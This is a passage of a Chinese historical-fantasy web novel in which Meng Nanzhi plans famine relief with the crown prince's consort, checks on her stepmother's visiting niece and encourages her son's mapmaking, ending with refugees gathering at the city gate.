见胡姨娘对她轻轻摇头,这才轻笑道点头道:“我够用的,父亲。”
母亲故后给她留的铺子不少,再加上她自己又经营了一些,虽然中间这十年有些经营不善,但养活她和孩子还是没问题的。
更何况现在胡姨娘还会再给她补贴一些,就更没必要去花父亲的俸禄了。
至于胡姨娘什么时候愿意和父亲坦白经营利润一事,孟南枝觉得这是他们两人之间的事,自己不好过多掺和。
孟正德见女儿神色自然,不似作假,便也放下心来,转而说道:“如今九曲河决堤,朝堂上下都在为赈灾之事忙碌,为父今日在家中歇息一晚,明日起暂住在官署一段时间。”
胡姨娘听闻此言,手中正在整理衣服的动作一顿,担忧道:“老爷,照常办公不行吗?为何非要住在官署?您这身体如何能够熬得?”
老爷这些年思忧成疾,经常彻夜无眠,也是枝枝回来后,睡眠才好些。
若是住在官署,只怕又是彻夜难眠。
孟正德怕她在女儿面前说漏嘴,不想让女儿跟着担心,趁女儿不注意朝她轻轻摇了摇头,解释道:
“如今九曲河决堤,灾情严重,朝堂上下皆需全力以赴,我身为朝臣,自当以身作则。”
“暂住官署也是为了能及时处理赈灾事宜,免得来回奔波,误了大事。家中若有急事,你们且可向官署寻我。”
没有看到他们两人之间小动作的孟南枝,觉得可以理解父亲的顾虑和决定。
她对胡姨娘劝慰道:“姨娘,父亲说得没错,你也莫要太过担心,所幸官署又不远,到时可以让人多给父亲送些汤药过去。”
已经得了老爷暗示的胡姨娘,自然不会再去揭老爷的底,附和着应道:“枝枝说的是。”
第112章 她又来了
见胡姨娘不再追问,孟正德暗自松了口气。
女儿回来这些时日,也是一直未能闲着,他不想再让女儿跟着操心他的睡眠问题。
转头又与女儿说了些日常琐事,便在女儿的催促中,先与胡姨娘一同用了膳。
本来他还想等着次外孙沈砚珩回来后,再去歇息。
但实在是奔波了一日,太过劳累,等不了太长时间,两眼已经无神。
孟南枝连忙催着他去快去歇息,直到他们屋里落了灯,次子沈砚珩才带着苏醒的江鱼回来。
江鱼额头缠着绷带,脸色还有些苍白,但眼神却很清醒,见到孟南枝便想躬身行礼,“夫人。”
“快坐下。”孟南枝虚扶了他一把,关切问道:“头还疼吗?身子可好些了?”
“谢夫人,好多了。”
江鱼坐下后没有绕弯,直接说道:“那两个人一高一矮,都穿着蓑衣,但高个的脚步轻快,应该是个练家子。矮个的脚步有些笨,但胜在对地形熟悉。”
江鱼仔细回忆当时的情景,尽量描述得准确,“两人配合默契,没跑多远便分散开来,我只能捡最近的追,刚拽住那人的肩,就被人从背后打了一闷棍。”
说到这里,江鱼抬手摸了摸缠着绷带的后脑,“那人力气很大,闷棍着实厉害,我只觉眼前一黑,便什么都不知道了。再醒来时,就已经在医馆里了。”
“母亲,江鱼没看清他们的脸。”沈砚珩补充道。
他在路上,已经听江鱼讲述了一遍。
孟南枝眉峰微蹙,暗自思量。
那两人既然选在那里,必然是对地形熟悉,觉得那里隐秘和足够安全。
她本也对江鱼能够抓到贼人,没抱希望。
眼下能从江鱼嘴里得知两人的大致形体,已经算是不错了。
思此,她抬眸看向江鱼,笑道:“你也辛苦了,这几日就待在府中好生休养,等把伤彻底养好了,再行出去。”
“多谢夫人。”江鱼拱了拱手,目光落在孟南枝腰上系着的玉环,突然道:“我想起来了,我倒下的时候,隐隐约约看到站在我身边的那个人腰带上,系了个玉佩。”
孟南枝摩挲了两下腰间的玉环,“可还记得那玉佩长什么样?”
江鱼仔细回忆,最终还是摇了摇头,“没看清,上面好像刻了个土字,不太确定。”
带“土”字的玉佩。
孟南枝记下了,对他点了点头,“辛苦你了。”
又抬头看了眼旁边的沈砚珩,“你们两个可曾用膳?”
“还没,江鱼刚醒,我们就回来了。”
沈砚珩摇了摇头,目光却落在玉环上,他也还在思索玉佩上刻个“土”字是什么意思。
“那你们快去用膳吧。”
孟南枝特别交代厨房为他们炖了鸡汤。
膳盘收起,又是一日。
孟南枝几乎是一夜未眠,翻来覆去,总担心远去山城的长子会出事。
直到天色将亮,她才浅眠了一小会儿。
等孟南枝再醒来时,父亲孟正德已经去了官署,胡姨娘担心连日阴雨,造成存放的货物出问题,也一早去了铺子里。
还有次子沈砚珩,竟然破天荒地,主动早早起来去了书院。
偌大的孟府,此刻竟显得有些冷清。
孟南枝梳妆完毕准备出门时,家里又来了客人。
太子侧妃,曹宛宁。
她今日穿了一身玉色绣折枝堆花襦裙,发髻插了支红翡滴珠凤头金步摇,衬得整个人明艳娇媚。
孟南枝连忙同她行了礼,“臣女见过侧妃娘娘。”
“南枝姐,你怎么还这么客气,唤我宛宁便是。”
曹宛宁将她扶起来,亲昵地挽住她的手,自责道:“我本来想昨日便来寻你的,但昨日父皇突然下令让太子去山城赈灾,我一时忙碌便拖到了今日。南枝姐,你可曾怪我?”
曹宛宁虽未明说,但孟南枝也知道她所说的是七巧宴一事。
太子侧妃亲自登门道歉,孟南枝又哪敢怪她,忙是笑道:“侧妃娘娘严重了,臣女也知你与玫姨是关心我,才会在七巧宴上那般安排,臣女心中只有感激,并无怪罪之意。
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”
曹宛宁听她如此说,脸上笑意更浓,如在自家般拉着她的手坐下来,“我就知道南枝姐必能体会到我与母亲的用心,不会计较我们小小的安排。”
孟南枝浅笑,亲自为她斟了茶,并不轻言是否真的不介意。
无事不登三宝殿。
曹宛宁既然再次前来,必然不是只为轻言谦意。
而且,自己昨日才从芙蓉那里得了她那位马夫的画像。
今日她便寻了来,这一个个的,还真是赶巧。
目光落在她白皙柔嫩的手背上,孟南枝眸色暗了暗,悬即又笑着将茶盏递给她,“侧妃娘娘,尝尝?”
曹宛宁接过茶盏,吃一口,笑道:“这茶不仅醒脑,还带了丝甜香,倒是别致。”
孟南枝又陪着她说了一会儿话,曹宛宁便转上正题,“南枝姐,其实我今日过来,还有一件事想请你商议。”
“侧妃娘娘但说无妨。”孟南枝将茶壶放下,听她细说。
曹宛宁面上带了丝忧愁道:“南枝姐,你也知道,如今九曲河决堤,灾情严重,朝堂上下无一不在为此事奔波。”
“除了太子去山城赈灾,昨日对父皇还下了皇令,让朝中勋贵进行捐献。”
说到此处,曹宛宁又拉住了孟南枝的手,“以史**载为例,不出三日,便会有大量灾民从山城流入京都。”
“我想着,我们身为后宅女子,虽不能亲赴前线,但也该为灾民做些力所能及之事。”
孟南枝顺着她的话,非常赞同地应道:“侧妃娘娘所言极是,不知娘娘有何打算?又需要臣女做些什么?”
曹宛宁盈盈一笑,眸中全是自信,道:“我计划在灾民到来之时,在城门和城中分别按点设立粥棚,为灾民提供热食。”
“但此事我一个人操办起来总归是有些吃力,所以特地想邀请南枝姐一同帮忙。”
孟南枝记得巨幕中,在灾民流入京都时,曹宛宁便是寻了太子派系的夫人、姑娘,设棚散粥。
只是,这专门为灾民设立的粥棚,却吃**人。
第113章 胡家来人
因为吃**人,流民**,太子受牵连被禁足。
京中一时无人敢再出头设棚施粥。
“心地善良”的林婉柔母女,不仅偷偷施粥,还寻了医师给流民看病。
这等美好行径传入圣上耳中,得圣上美誉。
沈卿知为此慢慢得了实权,陆筝筝入沈家族谱,被圣上指给奕王萧临渊做侧妃。
所以眼下孟南枝明确地知道,太子侧妃曹宛宁寻她参与,定是看中她背后父亲孟正德已身为右相所代表的背景。
但她不在意。
只要是能帮子女脱离主线的事,她都可以做。
而且她原本所存的物资,本也是为了救助灾民。
思此,孟南枝点头道:“娘娘有如此善心,想要为灾民做些实事,臣女自然愿意一同帮忙。”
曹宛宁见她答应,面上笑意更甚,“能得南枝姐相助,此事定能办得更加妥帖。”
孟南枝微微摇头,并不敢承受她这么大的赞誉,只谦逊道:“娘娘过誉了,此事由娘娘主理,必能办得妥帖,臣女不过是尽些绵薄之力罢了。”
顿了顿,她又简单提醒道:“只是这设棚施粥一事,毕竟涉及众多,若安排不妥,恐生事端,娘娘还需做更加细致的规划才好。”
更多的,孟南枝便未多言。
曹宛宁能提出设棚施粥一事,必定是有太子门客出谋划策,已做详细安排。
她此刻没必要多此一举的提前预知,引人注意。
曹宛宁闻言笑道:“南枝姐所言极是。”
两人又商议了片刻,曹宛宁才起身告辞。
孟南枝亲自将她送至府门口,状似不经意看了眼与芙蓉给她画像中一模一样的马夫。
直到他驾着马车渐渐远去,孟南枝才转身回到府中。
父亲回朝,圣上又安排长子沈砚修随太子出行赈灾,明显是要把他们孟家和太子捆绑在一起。
若不想子女走上旧路,眼下还要确保曹宛宁施粥不出事才好。
孟南枝回到房中,坐在案前手指轻轻叩击案面。
思索巨幕中曹宛宁施粥为何会出现吃**的漏洞,并反复在纸上演练应对策略。
确认无误后,又把用过的宣纸都烧了。
临到午时,胡姨娘还没有回来。
孟南枝嘱咐福伯和观棋分别去官署、书院给父亲和次子沈砚珩送膳。
询问府中丫鬟,确认胡姨娘归府时间不正常后,孟南枝便出府寻她。
天气依旧灰蒙蒙的,时不时地下会儿小雨。
道路上已经开始有积水,行人过路时需要踮起脚尖,偶有水坑,还要跳起跃过去。
马车吱扭扭的地行得很慢,车轮碾过水坑,溅起的水花足有几尺高。
因着昨日的发酵,百姓基本已经都知道了九曲河决堤的消息,争抢着开始买粮。
粮铺门口,挤涌着黑压压的人群。
老的,少的,揣着竹篮、布兜往前挤。
一个个都死死盯着木斗里的糙米,生怕晚一步就没了。
孟南枝看了两眼,便放下了车帘。
九曲河虽然决堤,但并未能实际地泼及京都。
这些全是京都的原住民,但凡家里多少存点粮食,就能撑过去。
还用不到需要赈灾救助的地步。
孟南枝先是去了胡氏绸缎庄,店铺里没有什么人。
正中央的梨木柜台擦得锃亮,掌柜的是位年轻妇人,正在整理两侧货架上堆叠的绸缎。
见到孟南枝后,慌忙停下了手中的伙计,过来同她见礼,“姑娘。”
看神情,明显是认识她的。
孟南枝点头,目光掠过被她堆放在角落里带着点泥水的绸缎,温声道:“东家在吗?”
在胡姨娘的下属面前,孟南枝没有称呼姨娘。
掌柜的表情有一瞬间的怔忡,却又很快反应过来道:“回姑娘,东家去了田庄。”
孟南枝没有忽略她的神情,面色如常道:“几时去的?有人陪她去吗?”
掌柜的低头道:“回姑娘,巳时去的,估计这会儿已经回去了。”
两个问题只回答了一个。
孟南枝微微颔首,“安全吗?抬起头来好好说。”
语气虽轻,却带了不容忽视的威严。
掌柜的抬起头对上孟南枝仿佛能看透一切的眼睛,心中一窒,又连忙垂下头道:“回姑娘,安全的。”
“确定吗?”孟南枝再问。
掌柜的再次低头应道:“安
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全。”
孟南枝见她如此肯定,转身出了铺子,对马夫阿贵道:“去田庄。”
月芹见孟南枝面色不好看,小声说道:“姑娘,胡姨娘兴许已经回府了?”
“嗯。”
孟南枝点头,没有否认她的话,但也没有改变自己的决定。
若是往常,胡姨娘去田庄她必不会去看。
可眼下时机不对,田庄在京郊,流民正在逐步往京都拥挤。
掌柜的到底是胡姨娘的人,她一直不说是谁陪胡姨娘去的,孟南枝不能逼问。
但这并不妨碍她担心胡姨娘有危险。
从铺子到田庄的路并不好走。
乡间小路,坑坑洼洼,马车几次差点陷进了水坑里。
月芹一路上为孟南枝放置了好几个软垫,生怕她墩着。
好在最后有惊无险的到了。
孟家田庄的门户是名老汉,姓许。
见到月芹扶着孟南枝从马车上下来,惊得掉了手中的烟袋子。
“小、小姐。”
他常年守着田庄,不到收成日,并不怎么往孟府去。
所以消息并不灵通,还不知道溺亡的孟南枝已经回来。
孟南枝微微颔首,直接问道:“姨娘可是来了?”
许老汉顾不得去捡地上的烟袋,揉了好几次眼睛不确定地问道:“小姐,真是你,你什么时候回来的?”
“有些时日了。”孟南枝浅笑。
许老汉看了眼阿贵,这才确认似的连连道好,并躬身迎着她进庄园。
“回小姐的话,胡姨娘在庄子里面呢。”顿了顿,他又道:“胡家的人也在。”
胡家?
孟南枝闻言停下脚步,“来了谁?”
胡家对胡姨娘利用大于亲情,胡姨娘在她母亲故后,已经和胡家断了来往。
若是探望,礼该是到孟府才对。
可眼下胡姨娘把人安置在田庄,孟南枝想不通是为什么。
一时有些纠结要不要进去。
毕竟这涉及胡姨娘的私事。
许老汉道:“是胡姨娘的表侄女。”
对于胡姨娘的家人,孟南枝只见过她的父兄,知道她还有两个姐妹。
但是这个表侄女,还真是第一次听说。
第114章 谢谢母亲
既然知道胡姨娘待客的是女亲,孟南枝便没了顾虑,抬脚跟着许老汉往庄内走。
入庄便是满园的樱桃树,还是她幼时父亲专门带着许老汉从江南寻得树苗,如今树干已经比她两个手腕还要粗壮了。
树中间是一条青石小道,一路铺到中庭。
因为下雨,田庄的佃户都在各家歇息,庄内一片宁静,只是偶有几声鸡鸣犬吠。
庭院坐落在田庄的最里面,院门口种着几株月季,虽值雨季,却也开得正艳。
院门开着,里面传来隐约的交谈声。
“小姐,胡姨娘就在里面。”许老汉停下脚步,并未再往里走。
孟南枝点了点头,示意月芹先进庭院向胡姨娘通报。
胡姨娘很快迎了出来,面色激动还带了丝愧疚,“枝枝,是我未能着人回去通传一声,让你担心还专门来接我。”
月芹是个会办事的,进屋通报时便已经点明了孟南枝是因为担心她才来的。
孟南枝浅笑着上前,挽住胡姨娘的臂弯道:“姨娘这是说的哪里话,我出门未归时,你也不是一直挂念着我嘛。”
胡姨娘对她的付出和关心,她感受得到。
再加上这些年早已磨合成了家人,所以当知道胡姨娘未按时回府,孟南枝才会那般着急地出来寻她。
胡姨娘闻言甚感欣慰,轻拍了拍她的手背,道:“来,快随我进屋,这雨天路滑地,可别冻着了。”
一直到了屋内,胡姨娘才对孟南枝介绍道:“枝枝,这是我姐姐家的小女,姓赵,名唤佩兰。近日家中得了变故,到京中寻到我,我便想把她安置在庄园住一段时间。”
只是,胡姨娘在说到“变故”二字时,眼神明显有些不自然。
孟南枝这才把目光落在跟着胡姨娘身后,一进一出的年轻妇人身上。
这位表侄女比孟南枝预想的要年轻,约模二十六七的样子。
也比孟南枝预想的要漂亮许多,眉若远黛,眸若秋水。
与胡姨娘只有两分相似,却比胡姨娘年轻时还要温婉。
乌发只简单梳了个妇人髻,斜插了一支木簪,穿着朴素,却难掩雅致。
眼尾泛红,应是刚才两人说了伤心事。
随着胡姨娘的话音落地,赵佩兰擦了擦泛红的眼角,非常规矩地屈身行了礼,“佩兰见过孟姑娘。”
孟南枝抬手虚扶了她一把,“不必多礼,既是姨娘的亲戚,那便也是自家人,唤我一声姐姐便是。”
孟南枝见她举止间皆有礼数,与胡家父兄的气质完全不同。
心中暗自点头,并不排斥她住在孟家庄园。
赵佩兰闻言低低地道了声:“佩兰谢过南枝姐。”
孟南枝微微颔首,未再多言。
胡姨娘抬头看了眼天色,道:“既如此,佩兰你且先在这里住下,我会给你安排两个丫鬟过来,有什么事交代丫鬟去做,万不可独自进京,等天放了晴我便着人送你回去。”
赵佩兰闻言睫毛微颤,垂头应下,“是,姨母。”
胡姨娘的语气有点强势,对赵佩兰说的话明显也有些苛刻。
因灾情严重,京都街市内往后会稍加混乱。
孟南枝只当她是担心表侄女安全,并未做过深细想。
胡姨娘又与赵佩兰交代了几句话后,便说道孟南枝一起回孟府。
临走时,许老汉带给孟南枝送上了田庄存放的樱桃果酱,还有些蔬菜瓜果,装了满满一车子。
也就导致回去路上,孟南枝不得不和胡姨娘挤在同一辆马车里。
等他们到了京都的主干道时,果真已经开始看到带着外城口音的百姓,在街市上寻亲问路。
这些外城百姓,眼下还不能称之为流民。
因为他们能入城门,手里自然拿的都有官府的通碟。
不管是乡绅也好,仕族也罢。
多多少少与京都人都是沾亲带故的。
真正称之为流民的百姓,是进不了京都城门的。
也没有那么快能从山城边乞边讨地赶到京都。
想到山城,孟南枝便想到长子,也不知他如今走到了哪里,一路是否安
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全。
马车再次碾过积水,回到孟府时,天色渐暮,沈砚珩已经散学归来。
待孟南枝和胡姨娘分别换完衣服在厅堂坐下,沈砚珩便迫不及待地从怀里掏出宣纸递给她,“母亲,您来看这是我今日画的地图。”
宣纸铺于桌面,这次沈砚珩画的并不是整个京都,而是只有孟府方圆五里。
对于这方圆五里的每条道路或小巷,都标注了大致长度,甚至在一些关键位置还做了简要的注释说明。
孟南枝仔细端详着,眼中满是赞赏,“珩儿,你这地图画得极为出色,想必是下了不少功夫。”
沈砚珩咧嘴一笑,露出四颗白牙,“母亲,我今日特意向教授请教了许多,查看了禹贡地域图等好多文献,这才完善了这地图,就是我急着给您看,画得太少了。”
胡姨娘在一旁看着,也笑着夸赞道:“珩儿画的这图真好,只是一眼就能看出那条路有多长,哪条路有多短,哪条路又与哪条路相通。”
“这要是把整个京都都画进来,那可真是了不得的本事。往后若是再把每座城都画进来,那可真是造福了天下百姓呢。”
“到时候,无论是行军打仗,还是商贾出行,有了这详尽的地图,那可就方便太多了。”
说者无心,听者有意。
沈砚珩闻言心中一凛,大脑仿佛突然打开了某种枷锁,瞬间清明。
他睁大眼睛,看了眼桌案上的地图,又抬头看了眼孟南枝和胡姨娘。
突然起身抱住孟南枝,“母亲,母亲,谢谢,谢谢母亲。”
他明白了母亲为什么突然说不认识京中的路线。
明白了母亲为什么不用书肆中现有的舆图。
原来母亲一直在引导他。
引导他发现自己的爱好。
引导他不在沉迷于所谓的刺激。
引导他走出自己没有想做任何事的困境。
守在门口的江鱼摸了摸有些发酸的鼻子,转过身,抬头看向灰蒙蒙的天空。
出来这么久,他第一次有些想家了。
第115章 他还是拎得清的
次子沈砚珩性格敏感,除去一开始对她的心存戒备。
这还是孟南枝回来后,第一次拥抱他。
少年的眼圈泛红,眼尾带着湿气。
孟南枝内心五味杂陈,压下喉间酸涩,轻轻拍了拍他的后背,“跟母亲谢什么。”
“嗯。”少年不善言辞,重重地抽了下鼻子,方才松开母亲的怀抱。
抬头看母亲和祖姨母都满目慈爱地盯着他,突然有些不好意思。
他借着擦拭眼角的功夫,将桌案上的图纸收起来,道:“母亲,我这张图画得还是不太好,等我再和教授讨教完善后再给您。”
孟南枝点闻言颔首道:“这张地图你完善后先给你外祖父送去一份,报于职方司,若得认可,方能再画。”
次子能自省自学是件好事,但该走的流程还是要走。
沈砚衍点头应下,知道这是母亲为他铺的第一条路。
胡姨娘在旁边鼓励道:“珩儿这般用心,日后定有大作为。”
枝枝溺水后,老爷致仕,镇北侯沈卿知与孟府渐行渐远。
沈砚修因为年长,又孝顺,对孟家熟识,偶尔还会来坐一下。
沈砚珩却不一样,他对孟家没有太深记忆,只跟着兄长来过几次。
不爱说话,对孟家也没有表现出亲昵。
胡姨娘虽想表现出疼爱,却还是带了点距离的。
也是枝枝和离回来后,在这几日的相处中,胡姨娘才能感受到他的孩子气。
沈砚珩被她夸得脸颊微红,挠了挠头道:“祖姨母莫要这般说,我只不过是画了张图而已,日后能否有大作为还未可知呢。”
自己有几斤几两,沈砚珩还是拎得清的。
他不喜读书,又不善武,眼下只是在母亲的指引下画了一幅地图,算不上什么作为和成就。
只不过,在今日之前,他一直以为母亲对兄长的关爱更多一些。
因为母亲为兄长谋划了赈灾一事,还带着兄长去见了曹侍郎。
而对于自己……
沈砚珩想到自母亲回来,自己做的一件件事。
不是风月场所,就是赌坊。
确实没有什么值得母亲对他格外关爱的。
眼下若非祖姨母提醒,他只怕又要钻进牛角尖去了。
孟南枝不想次子太过妄自菲薄,也如同胡姨娘一样,对他柔声鼓舞道:“珩儿莫要谦虚,你有这份心,又有如此行动力,未来不管如何,母亲相信你定能达成心中所愿。”
沈砚珩闻言重重地点了点头。
眼下他既知道了母亲对他的期望,定会努力朝着那个目标向前进。
三人坐着又说了会儿话,便就膳歇下。
沐浴过后的孟南枝躺在床上,翻来覆去难以入眠,总担心长子会出事。
便起身坐在窗前软榻上,聆听细雨淅沥。
抬目远眺,是夜色中的孟府,因下着雨,奴仆丫鬟都早早地进屋歇下。
只有值守的仅仆,会时不时地沿着院落转一圈,确保府内烛火安全。
再远眺,在雨幕的遮挡下,便什么也看不清了。
目光扫向东邻谢归舟住的府院,才热闹不过几日的院落,此刻又变得空荡荡的。
院内好似积了水,蛙鸣声不断,有些嘈杂。
月芹给她拿了件披风,为她披上,又替她盖上薄褥。
“夫人,早些歇息吧,世子此行有屠戎将军还有军中精卫护着,定能平安。”
孟南枝点头,让她在自己旁边的软椅上坐下,温和道:“月芹,回来这么久,我也没有问问你,可有成婚的想法?”
月芹并不是孟府的家生丫鬟,是她嫁入沈府后,因为丫鬟短府,从人伢子那里买来的。
她的两个家生丫鬟,在她溺水后,被刘嬷嬷安置在女儿朝昭身前,眼下也跟着女儿随太后去了避暑山庄。
月芹闻言一怔,面色泛红地摇了摇头,“回夫人,奴婢没有成婚的想法,奴婢只想一辈子服侍夫人。”
孟南枝听完自责道:“我不在的这些年,耽误了你们,若你有了心仪之人,或是想出府自立,皆可以告诉我,我可将身契还于你们。”
正常来说,作为主母,等丫鬟到了适龄年纪,是要为他们婚配的。
可孟南枝溺水后,她们这些丫鬟没了主事人,婚事全都耽搁了。
月芹眼眶微红,还是摇了摇头道:“夫人,月芹没有心仪之也,也没有大
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的本事能出府自立,月芹只想一辈子留在夫人身边,好好伺候夫人。”
孟南枝见她心意已决,便也不再勉强。
又与她聊了其他丫鬟奴仆的大致情况后,才起身躺回床榻,慢慢入睡。
接连两日,天气都不太好,阴阴沉沉地下着小雨。
直到第三日,天气终于放了晴。
曹宛清在妹妹曹宛宁,也就是太子府中嬷嬷的陪同下到了孟府。
寻孟南枝一同前往城门口设棚施粥。
曹宛宁未能前来,说是这两日起了妊反,饭食难咽,连口水都喝不下去。
人没太大精神,还有些虚脱,只得让姐姐曹宛清主理设棚施粥一事。
孟南枝对自己的定位是臣女,对跟谁一起前去并没有什么意见。
而且她与曹宛清更加相熟,说起话,处起事来,也会更加自在。
为表亲近,曹宛宁非要拉住孟南枝与自己同坐一辆马车。
并在车内为她提前安置了,她最喜欢吃的樱桃和桂花糕。
“瞧瞧,我这可是好不容易才得来的樱桃,尝尝看是不是比你们孟府的甜。”
樱桃的季节已经过去,现在能得来,实属难得。
孟南枝抬手轻轻捻起一个送入口中,薄皮咬破,清甜之香溢满口腔。
便毫不吝啬地赞美道:“很好吃的,宛清姐,这是贡品吧?”
京内,没有这种口味的樱桃。
而且也过了樱桃成熟的季节。
曹宛清闻言,点了点她的鼻子,“就知道你嘴最刁,一口就吃出不同来,这还真是前几日圣上赏赐的贡品,是由南沼国送来的。”
赏赐,自然是赏赐给曹国公府的。
而南沼国在大衍的最南边,与梢城相邻。
那里果产、渔业丰富,每年都会向大衍进贡许多稀罕物什,这晚熟的樱桃便是其中之一。
曹宛清见她吃得满意,轻笑道:“这樱桃是我今日从国公府出来时,景行特地嘱托我一定要带上的。”
说罢,曹宛清又往孟南枝的手里塞了一颗,“景行也是记得你的喜好的。”
孟南枝顿时觉得口中的樱桃有些酸涩。
是咽也不是,吐也不是。
第116章 你还惦记他?
勉强将口中的樱桃咽下后,孟南枝拿帕子擦净了手,没再去碰碟盘里的樱桃。
**家嘴软,拿人家手短。
已经欠了谢归舟的人情,不想再去欠曹家的人情。
而且孟南枝认为她已经和她们说得很清楚了。
她对曹景行无意,更无再婚的想法。
曹宛清与孟南枝自幼相处,又岂会不知她手上举动代表了什么含义。
但她还是觉得应该争取一下,“南枝,景行比谢将军要合适。”
七巧宴结束后,曹宛清与母亲复盘了几次,都觉得谢归舟所说心悦南枝,不像是真心之词。
而且南枝听到后,也没什么表情,不像是对谢归舟有情的。
再加上第二日孟太傅便由谢归舟亲自扶着,回了朝。
那心悦之词,倒更不像是真心的了。
为此曹宛清还专门到太子府询问了妹妹,谢归舟到底何意。
妹妹曹宛宁的说法倒是和母亲一致,屠戎将军志在屠戎,又岂会再婚。
屠戎是面上之词,深意便是他伤了根基。
他当年以此为由未曾与妹妹完婚,当下如何能与南枝再婚。
孟南枝不知她心中所想,只得再重审一遍自己的想法,“宛清姐若还拿我当朋友,就莫要再提此事了。”
曹宛清笑着拉起她的手,轻拍了拍她的手背,道:“南枝呀,你还不了解我么,我便是拿你当朋友,才这么和你说的。”
“谢将军能护你,曹国公府自然也能护你,而且景行不管是年数,还是身子康健程度,都要更适合。”
他们曹国公府当年对谢归舟是否真的伤了根基一事,也是抱着怀疑态度的。
名医测脉,酒后下药,美女入怀……
总之,当时父亲通过各种上得了台面和上不了台面的方式,各种试探。
结果都是谢归舟确实是根基受伤不举。
这才彻底死心,同意了皇后娘娘将妹妹指婚给太子的想法。
曹宛清有些担心南枝并不知道谢归舟伤了根基一事,只是这话却不好明说,只能隐晦地提及。
孟南枝闻言蹙眉,觉得曹宛清一直为她牵线,牵的有些过了,便直言不讳道:“宛清姐,你若与陈郎中和离,还会再婚吗?”
曹宛清怔了一下,“南枝,这不一样,沈卿知他是负了你,而我与陈郎……”
话说到一半,曹宛清便突然收住了嘴。
南枝溺水之前,沈卿知与她又何尝不是外人传说中的恩爱。
南枝溺水后,沈卿知又是挖湖又是不续弦的,这又有几人能做到。
想到这里,曹宛清仔细看了下孟南枝的脸,把她的手小心翼翼地握在掌心里。
朱唇抿了几抿,她才开口问道:“南枝,你心里不是还惦记着镇北侯吧?”
南枝回来后对镇北侯和林婉柔所表现的决绝,让曹宛清差点忘了,十年前,南枝与沈卿知成婚后,常常成双入对出去游玩的模样。
那时的南枝,对沈卿知到底是有感情的。
“没有。”孟南枝摇头,并不想在这个话题上过多延伸,“宛清姐若再与提此事,莫怪我以后不再应你的邀了。”
曹宛清见她是真与自己置了气,忙笑着求饶道:“好了,南枝,我错了,保证以后再也不提了。”
但心里却是认定,南枝心里应该还是惦记着沈卿知的。
就如自己,心系陈郎,接受不了他纳妾有通房。
若真有一天和离,也是放不下他的。
两人说话间,马车已经踏过积水,稳稳地停在了城门边上。
因着涌向京都的流民增多,城卫加强了人手,由原来的五步一岗,变成了三步一岗。
城门紧闭,只留一个可供单人通过的小门。
孟南枝还未下车,便听到城门外嘈杂的喧闹声,还有压抑的痛哭声。
守卫将领早已得了太子府今日要在城外设棚施粥的通知,当下便亲自迎过来,请他们出城门。
随着城门打开,抬眼望去,黑压压的全是人头。
城门下的队伍像条灰败的长绸,从护城河一直蜿蜒到一里外的官道。
饿瘦了的汉子背着奄奄一息的老母,妇人紧紧
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把幼子护在自己怀里,还有些以棍代拐独自行走的老翁。
路两边的荒地上,破席子、烂棉絮胡乱铺着,躺着些因为没有官碟而不能入京的百姓。
听到城门打开的声响,全部抬起眼睛望过来,灰败的眸子里闪过令人心惊的亮光。
曹宛清见状,不由自主地攥紧了孟南枝的衣袖,声音略带颤抖地说:“南枝,这情形比我想象中还要严重,山城的灾情真的能受到控制吗?”
大衍已经很久很久没有见过这么多的灾民了。
她对灾民唯一的印象,还是幼时,那时圣上还未登基。
江南干旱,百姓无谷可食,流入京都。
可那次的灾民,比这次可要少多了。
孟南枝抬头望了眼时阴时晴的高空,忍不住暗自嗤笑一声。
照巨幕上所演的来看,这灾情完全就是在为陆筝筝和萧临渊铺路。
好促进她博得声名,赢得青睐,获得圣誉,攀得高枝。
太子是炮灰,子女是反派。
可眼前这些饿得瘦骨辚辚,眼神满是绝望的百姓,何其无辜。
为何要用他们,来作为登上高位的垫脚石。
思此,孟南枝轻拍了拍曹宛清的手背,安抚道:“按照计划安排下去,尽快开始施粥,让这些百姓至少先填充下肚子,暖和下身子。”
曹宛清很快反应过来,立马吩咐跟来的侍卫,开始把备好的糙米,送到早已搭建好的粥棚前。
百姓们见状,发出惊呼声。
“要施粥了,要施粥了。”
“快,往那边去。”
“快点,晚了就没了。”
你拥我,我挤你的就开始往他们这边挤。
黑压压的人群涌过来,几乎要把粥棚掀翻。
有些手快的流民,抓起布袋里的生米就往嘴里送,连水都没有,就那么干嚼两下便生生咽了下去。
“唉,那是生的。”曹宛清看不下去地去劝阻他。
孟南枝拉住她的手腕,把她护在身后。
守卫将领见状拿鞭子抽了几个不听话的,才让队伍安静下来。
第117章 她们也跟来了
几个被抽打的流民衣服破烂,暴露在空气中的皮肉渗出鲜血,却没有一个敢提出反抗,低垂着头站回队伍里,时不时地抬眼看向正在熬粥的大锅。
孟南枝虽然有些心疼流民的遭遇,但也知道此刻唯有杀鸡儆猴才能保证最快效率的妥善施粥。
所以,对于将军抽鞭,她并未出声阻止,而是立马对太子府跟来的护卫道:“你们几个在粥棚前围成圈,维护好秩序。”
曹宛清见状也收回于心不忍的视线,吩咐跟来的奴仆尽快添火熬粥。
奴仆们应声而动,手脚麻利地往昨日才垒好,还未完全干透的灶膛里添着木柴,火苗瞬间蹿高。
铁锅里的水渐渐沸腾起来,咕嘟咕嘟地冒着泡,糙米的香气也开始在空气中弥漫开来。
流民们闻着香味想要往前挤的冲动更加迫切。
粥棚共设了五处,见此处被孟南枝安置得妥当,守卫将军便安排士兵在剩下的几处粥棚周围形成人墙,将流民分隔成几列队伍,依次排队领粥。
流民们虽然急切,但在士兵的威慑下,却无一人敢再往前冲。
可那一双双眼睛,却始终紧紧盯着不断翻滚着热气的粥锅,喉咙里还时不时地发出吞咽口水的声音。
孟南枝站在粥棚后面,看着这一切,心中五味杂陈。
京城的流民都成这样,山城的形势只怕会更加严峻。
也不知长子沈砚修能不能听她所言,在做好赈灾的前提下,优先照顾好自己。
这时,队伍里一名柱着木棍的老妇,突然摔倒在地上。
一直被她牵在怀里年约五六岁的小女孩,顿时焦急地大哭起来,“阿嬷,阿嬷,您醒醒,马上就排到咱们了。”
周围的流民似乎见惯了这种情形,表现得非常冷漠。
一个个面无表情地跃过他们,排着队继续往前挤。
穿得破破烂烂的小女孩,为了不让阿嬷被人踩到,只得边哭,边伸出小手拖着阿嬷的手臂往队伍外面拽。
但她力气实在太小,根本拽不动。
有个路过的流民嫌碍事,便用脚把倒地的老妇往外踢了一点,“死老太婆,早不死,晚不死,死到队伍里。”
小女孩连忙上前趴在阿嬷身上,不让他踢,“我阿嬷没死,她只是饿得起不来了,你不要踢阿嬷。”
孟南枝见状连忙快步跑过去,将小女孩扶起来,并帮她把地上的老妇拖到一边。
